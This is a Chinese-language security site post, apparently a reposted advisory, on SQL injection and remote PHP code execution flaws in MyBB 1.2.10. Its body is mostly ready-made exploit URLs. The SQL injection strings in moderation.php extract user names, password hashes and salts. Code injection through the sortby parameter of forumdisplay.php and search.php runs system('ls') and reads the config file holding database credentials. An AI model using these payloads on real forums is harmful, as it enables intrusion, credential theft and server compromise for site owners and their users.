首页 网络安全 安全学院 查看内容

MyBB 'moderation.php' SQL注入漏洞+多个远程PHP代码执行漏洞

2009-2-4 10:07 764 0

摘要: MyBB 'moderation.php' SQL注入漏洞+多个远程PHP代码执行漏洞 MyBB是一款基于PHP的WEB应用程序。MyBB不正确过滤用户提交的URI数据,远程攻击者可以利用漏洞以WE...
关键词: php amp MyBB example http action sortby forumdisplay com www

MyBB 'moderation.php' SQL注入漏洞+多个远程PHP代码执行漏洞 MyBB是一款基于PHP的WEB应用程序。MyBB不正确过滤用户提交的URI数据,远程攻击者可以利用漏洞以WEB权限执行任意代码.问题是由于'forumdisplay.php'和'search.php'脚本对用户提交的'fid'参数处理缺少充分过滤,提交恶意数据,在获得"sid"的情况下,可导致任意代码执行。注入:http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+SELECT+1,(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid=0'+UNION+SELECT+waraxe--+http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethreads&moveto=2&threads=war|axe多远程php代码执行:http://www.example.com/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];phpinfo();exit;//http://www.example.com/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];system('ls');exit;//http://www.example.com/mybb.1.2.10/forumdisplay.php?fid=2&sortby='];readfile('inc/config.php');exit;//http://www.example.com/mybb.1.2.10/search.php?action=results&sid=[valid sid here]&sortby='];phpinfo();exit;//http://www.example.com/mybb.1.2.10/search.php?action=results&sid=[valid sid here]&sortby='];system('ls');exit;//http://www.example.com/mybb.1.2.10/search.php?action=results&sid=[valid sid here]&sortby='];readfile('inc/config.php');exit;//
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部